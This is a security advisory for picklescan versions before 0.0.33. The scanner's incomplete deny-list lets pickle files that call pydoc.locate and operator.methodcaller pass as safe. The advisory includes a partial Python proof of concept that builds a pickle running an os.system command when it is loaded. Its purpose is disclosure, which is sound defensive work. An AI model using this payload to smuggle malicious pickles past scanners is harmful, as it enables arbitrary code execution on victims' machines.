CVE-2025-71320 — picklescan - Remote Code Execution via Incomplete Disallowed Inputs

Affected: picklescan

picklescan before 0.0.33 contains an incomplete deny-list that fails to block pydoc.locate and operator.methodcaller functions, allowing attackers to bypass security checks. Remote attackers can craft malicious pickle files using these unblocked functions to achieve arbitrary code execution when the pickle is deserialized.

GHSA-84r2-jw7c-4r5q — Picklescan has Incomplete List of Disallowed Inputs

Affected: PyPI: picklescan

### Summary Currently picklescanner only blocks some specific functions of the pydoc and operator modules. Attackers can use other functions within these allowed modules to go through undetected and achieve RCE on the final user. Particularly * pydoc.locate: Can dynamically resolve and import arbitrary modules (e.g., resolving the string "os" to the actual os module). * operator.methodcaller: Allows executing a method on an object. When combined with a resolved module object, it can execute functions like system.

Since locate and methodcaller are not explicitly listed in the deny-list, picklescan treats them as "Safe" or "Suspicious" (depending on configuration) but does not flag them as "Dangerous", allowing the malicious file to bypass the security check.

### PoC

use the provided script to create a malicious pickle file

```python import pickle import pydoc import operator import os

class ModuleLocator: def __init__(self, module_name): self.module_name = module_name def __reduce__(self): return (pydoc.locate, (self.module_name,))

class RCEPayload: def __reduce__(self): cmd = "notepad" #put your payload here mc = operator.methodcaller("system", cmd) return (mc, (ModuleLocator("os"),))

def generate_exploit(): payload = RCEPayload() try: with open("bypass.pkl", "wb") as f: f.write(pickle.dumps(payload)) print("File 'bypass.pkl' created.") except E…

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CVE-2025-71320 — picklescan - Remote Code Execution via Incomplete Disallowed Inputs

GHSA-84r2-jw7c-4r5q — Picklescan has Incomplete List of Disallowed Inputs